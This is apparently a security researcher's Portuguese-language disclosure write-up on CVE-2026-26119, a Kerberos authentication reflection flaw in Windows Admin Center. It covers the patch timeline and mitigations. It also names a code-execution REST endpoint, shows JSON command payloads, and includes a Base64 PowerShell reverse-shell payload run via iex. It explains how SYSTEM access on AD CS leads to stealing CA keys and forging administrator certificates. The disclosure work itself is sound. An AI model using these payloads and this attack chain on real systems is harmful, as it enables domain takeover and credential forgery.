A esta altura, provavelmente já está ciente da recente correção da Microsoft relativa a uma vulnerabilidade crítica de escalada remota de privilégios (CVE-2026-26119) que afetava o Windows Admin Center e que, em determinadas condições, poderia levar ao comprometimento total do domínio. Descobri e comuniquei esta falha à Microsoft em julho de 2025. Agora que a correção foi lançada, posso abordar a vulnerabilidade: por que funcionou, por que era subtil e por que as equipas de TI e de cibersegurança ainda subestimam a reflexão de autenticação.
O que é o Windows Admin Center?
Sempre que o Gestor do Servidor é aberto, ele lembra-nos educadamente para instalar o Windows Admin Center. Normalmente ignoro este aviso, mas, por fim, a curiosidade levou a melhor e decidi experimentá-lo.
O Windows Admin Center é uma plataforma de gestão baseada no navegador, concebida para substituir os snap-ins tradicionais da Microsoft Management Console (MMC) e reduzir a necessidade de acesso direto ao PowerShell. A plataforma:
- é uma aplicação web
- suporta a Autenticação Integrada do Windows (WIA)
- disponibiliza pontos de extremidade REST para ações de gestão privilegiadas
A plataforma funciona como uma aplicação .NET alojada no servidor web Kestrel e disponibiliza um gateway de gestão HTTP (Figura 1).
O Windows Admin Center por dentro
Após algumas experiências e uma tentativa de compreender melhor o funcionamento do Windows Admin Center, decidi interceptar e analisar os seus pedidos para ver o que se passava realmente.
Após a autenticação, neste caso através do WIA, a aplicação define vários cookies essenciais, tais como o WAC-SESSION e os tokens antifalsificação associados (Figura 2).
Não demorou muito a identificar pontos de extremidade REST interessantes que permitiam a execução de código, como o que se vê na Figura 3. Este encontra-se em /api/services/WinREST/Powershell/nodes//InvokeCommand.
Este ponto de extremidade parecia muito fácil de ser explorado, por isso decidi repetir a solicitação para executar um simples whoami.exe, redirecionando a saída para um ficheiro e recuperando o conteúdo.
Havia, no entanto, uma ressalva importante: cada pedido exigia uma nova autenticação, incluindo o cookie WAC-SESSION inicial e o token antifalsificação correspondente (Figura 4).
Surpresa: Resultou!
Reflexão de autenticação no Windows Admin Center
Embora este ponto final parecesse um alvo simples para o reencaminhamento de autenticação, o meu verdadeiro interesse residia na reflexão de autenticação. Queria compreender se um utilizador do domínio com privilégios reduzidos poderia forçar remotamente a autenticação do computador e refleti-la de volta para o Windows Admin Center, a fim de obter acesso como NT AUTHORITY\SYSTEM.
Já escrevi anteriormente uma explicação detalhada sobre o abuso da reflexão de autenticação no meu blogue pessoal, por isso não vou repetir isso aqui. Com as recentes correções da Microsoft a bloquear o abuso do truque CredMarshalTargetInfo e do GhostSPN para coerção baseada em SMB, a única opção que restava era recorrer a um gatilho RPC/DCOM. O candidato ideal? Um servidor dos Serviços de Certificados do Active Directory (AD CS) com o Windows Admin Center instalado.
Nesta configuração, qualquer utilizador do domínio autenticado poderia forçar remotamente a autenticação do computador através do DCOM, tal como demonstrado com o meu ADCSCoerce Potato, e retransmiti-la para um serviço HTTP. Uma vez que o Nome Principal do Serviço (SPN) está sob o controlo do atacante, a autenticação local pode ser acionada utilizando Kerberos ou NTLM.
A execução bem-sucedida de código e a obtenção de acesso NT AUTHORITY\SYSTEM num servidor AD CS significam, na prática, uma coisa: um «Certificado Dourado». O acesso administrativo permite ao atacante fazer cópias de segurança das chaves públicas e privadas da CA e falsificar certificados para qualquer utilizador, incluindo administradores de domínio para autenticação de clientes.
Como já dispunha de uma ferramenta personalizada (derivada do KrbRelay) que suporta o acionamento remoto via DCOM, optei por utilizar a reflexão Kerberos. A única tarefa que restava era implementar a lógica do cliente HTTP necessária para interagir com os pontos de extremidade REST do Windows Admin Center e acionar a execução do código.
Ao utilizar o Burp para depurar o fluxo da sessão, a implementação do cliente do Windows Admin Center foi bastante simples. Segui um processo em duas etapas: uma solicitação para recuperar os cookies necessários, seguida de uma segunda solicitação para interagir com os pontos de extremidade relevantes.
Cada uma dessas solicitações exigia uma nova autenticação, o que implicava algum trabalho adicional, mas, no final, funcionou como esperado.
A minha carga útil de uso geral tinha o seguinte aspeto:
{"properties":{"script":"cmd.exe /c >c:\temp\out.txt; $a=get-content \"c:\temp\out.txt"; return $a"}}
A carga útil também poderia ser modificada para incluir código PowerShell, por exemplo, para criar um shell reverso ou realizar qualquer outra ação.
{"properties":{"script":"$b64='JGM9TmV3LU9iamVjdCBOZXQuU29ja2V0cy5UQ1BDbGllbnQoJzE5Mi4xNj..';$d = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64));iex $d"}}
Para evitar lidar com sequências de escape complicadas, a abordagem mais simples consiste em utilizar uma versão codificada em Base64 do script que pretende executar.
Com tudo preparado, decidi experimentar utilizando uma carga útil de shell reverso do PowerShell a partir de um computador integrado no domínio, o D2S2, na qualidade de utilizador com privilégios reduzidos.
A minha única preocupação que restava era a Proteção Alargada para Autenticação (EPA), que teria impedido este tipo de reflexão. Mas o Windows Admin Center funciona no servidor web Kestrel e não nos Serviços de Informação da Internet da Microsoft (IIS) e, pelo que eu sabia, as funcionalidades da EPA não estão implementadas no Kestrel… e funcionou, mesmo sem a EPA ativada (Figura 5, Figura 6).
O resultado foi um shell com privilégios totais a ser executado no contexto da conta de máquina D2S3$, que hospeda tanto o Windows Admin Center como o AD CS. Este vídeo mostra outro exemplo de como fazer uma cópia de segurança das chaves da CA:
O estranho caso do Windows 2025
Inicialmente, realizei estes testes num sistema Windows Server 2022, pelo que decidi repeti-los no Windows Server 2025. Para minha surpresa, todas as tentativas resultaram numa mensagem de «ACESSO NEGADO».
Após uma investigação mais aprofundada, ficou claro que, no Windows Server 2025 e no Windows 11 24H2, a EPA é aplicada de forma nativa pelo controlador HTTP.SYS. Consequentemente, a menos que o backend interfira explicitamente neste comportamento, a EPA está, na prática, sempre ativada.
Correções para CVE-2026-26119
Em janeiro de 2026, a Microsoft lançou a primeira correção, CVE-2026-20929, que efetivamente adaptou os requisitos da EPA a outras versões do Windows, renomeando as funções originais de ligação de canais com o sufixo _old e introduzindo novas implementações (Figura 7).
A 17 de fevereiro, a Microsoft lançou uma atualização fora do ciclo normal para o Windows Admin Center com o CVE-2026-26119.
Esta atualização introduziu uma chamada SetProperty(HttpServerChannelBindProperty), delegando a aplicação do token de ligação de canal (CBT) ao controlador de kernel HTTP.SYS atualizado (Figura 8).
A correção propriamente dita foi incluída na atualização do kernel HTTP.SYS de janeiro, que implementa a funcionalidade EPA por predefinição. Esta nova implementação no Windows Admin Center parece, portanto, destinar-se principalmente a garantir a compatibilidade futura, em vez de resolver a causa principal do problema.
O que é preciso saber sobre a reflexão de autenticação
O Windows Admin Center é mais um exemplo de como os ataques de reflexão e retransmissão de autenticação podem ser perigosos, especialmente quando (como neste caso) não existem contramedidas eficazes disponíveis, além da desinstalação do produto. Não tenho conhecimento de quaisquer números oficiais relativos à sua utilização, mas, com base na minha experiência, o Windows Admin Center provavelmente está menos difundido do que outras ferramentas administrativas. No entanto, isso não significa que esta falha de segurança deva ser subestimada, uma vez que cenários semelhantes podem ter existido há anos.
Felizmente, ao aplicar os requisitos de CBT diretamente no controlador HTTP.SYS, este tipo de ataque foi definitivamente mitigado. Deve também adotar as seguintes contramedidas para ajudar a prevenir a reflexão de autenticação em geral:
- Exigir a assinatura e a vinculação de canal em todos os casos
- Corrigir vulnerabilidades conhecidas relacionadas com a imposição de valores
- Reforce a segurança dos sistemas desativando serviços desnecessários e utilizando filtros RPC para bloquear vetores de ataque específicos que desencadeiam a autenticação
Linha do tempo
- 8 de julho de 2025: Vulnerabilidade comunicada ao Centro de Resposta de Segurança da Microsoft (MSRC)
- 29 de julho de 2025: Problema confirmado pelo MSRC
- 30 de outubro de 2025: O MSRC informou que a correção seria lançada no início de 2026
- 13 de janeiro de 2026: A Microsoft lançou uma primeira atualização de segurança para corrigir a falha (CVE-2026-20929)
- 17 de fevereiro de 2026: A Microsoft lançou uma segunda atualização de segurança que corrige um problema de comportamento do Windows Admin Center (CVE-2026-26119)
Mais estudos realizados pelos especialistas da Semperis
